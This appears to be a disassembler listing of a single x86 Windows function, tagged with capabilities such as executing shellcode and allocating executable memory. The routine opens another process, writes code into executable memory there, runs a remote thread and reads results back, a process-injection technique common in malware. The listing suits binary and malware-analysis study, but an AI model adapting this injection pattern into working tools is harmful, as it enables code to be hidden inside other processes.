Function at 0x40c4c7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10524
call fcn.0040d5c0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
xor ebx, ebx
push ebx
push 0x1f0fff
mov dword [ebp - 8], ebx
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x40c74c
push 0x8284
lea eax, [ebp - 0x8294]
push ebx
push eax
mov dword [ebp - 0x8298], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
lea eax, [ebp - 4]
push eax
mov dword [ebp - 4], ebx
call fcn.0040b1d7
cmp dword [ebp - 4], ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x410018
push edi
je 0x40c545
call dword [ebp - 4]
jmp 0x40c547
call esi
mov dword [ebp - 0x8244], eax
lea eax, [ebp - 4]
push eax
call fcn.0040b1d7
cmp dword [ebp - 4], ebx
push 0x410028
push edi
je 0x40c566
call dword [ebp - 4]
jmp 0x40c568
call esi
mov esi, dword [ebp + 0x20]
cmp esi, ebx
mov dword [ebp - 0x8240], eax
je 0x40c580
push 0x11
pop ecx
lea edi, [ebp - 0x8288]
rep movsd dword es:[edi], dword [esi]
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 0x8288], 0x44
mov esi, 0x2000
je 0x40c5a7
push dword [ebp + 0x14]
mov eax, esi
lea edi, [ebp - 0x8234]
call fcn.00405aca
pop ecx
jmp 0x40c5b0
mov word [ebp - 0x8234], 1
cmp dword [ebp + 0x10], ebx
je 0x40c5c8
push dword [ebp + 0x10]
mov eax, esi
lea edi, [ebp - 0x4232]
call fcn.00405aca
pop ecx
jmp 0x40c5d1
mov word [ebp - 0x4232], 1
cmp dword [ebp + 0x1c], ebx
je 0x40c5ec
push dword [ebp + 0x1c]
mov eax, 0x104
lea edi, [ebp - 0x230]
call fcn.00405aca
pop ecx
jmp 0x40c5f5
mov word [ebp - 0x230], 1
mov eax, dword [ebp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x1000
mov edi, 0x8288
push edi
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ebx
call esi
push 0x40
push 0x1000
push 0x800
push ebx
push dword [ebp + 0xc]
mov dword [ebp + 0x14], eax
call esi
cmp dword [ebp + 0x14], ebx
mov dword [ebp + 0x10], eax
je 0x40c73f
cmp eax, ebx
je 0x40c73f
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push 0x800
push 0x40c437
push eax
push dword [ebp + 0xc]
call esi
push ebx
push edi
lea eax, [ebp - 0x8298]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call esi
lea eax, [ebp + 0x1c]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
mov dword [ebp - 0x10], ebx
push dword [ebp + 0xc]
mov dword [ebp - 0xc], ebx
mov dword [ebp + 0x1c], ebx
call fcn.0040bca9
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x20], esi
je 0x40c6ab
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x7d0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40c6b6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
push 0x8284
lea eax, [ebp - 0x1051c]
push ebx
push eax
mov dword [ebp - 0x10520], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
push edi
lea eax, [ebp - 0x10520]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, 0x8000
push esi
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call edi
push esi
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call edi
cmp dword [ebp + 0x20], ebx
je 0x40c72f
mov eax, dword [ebp - 0x104c0]
mov ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x24]
cmp edi, ebx
mov dword [ecx], eax
mov eax, dword [ebp - 0x104c4]
mov dword [ebp - 8], eax
je 0x40c72f
lea esi, [ebp - 0x10520]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp dword [ebp - 0x10], ebx
je 0x40c754
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40c754
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
jmp 0x40c754
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 0x20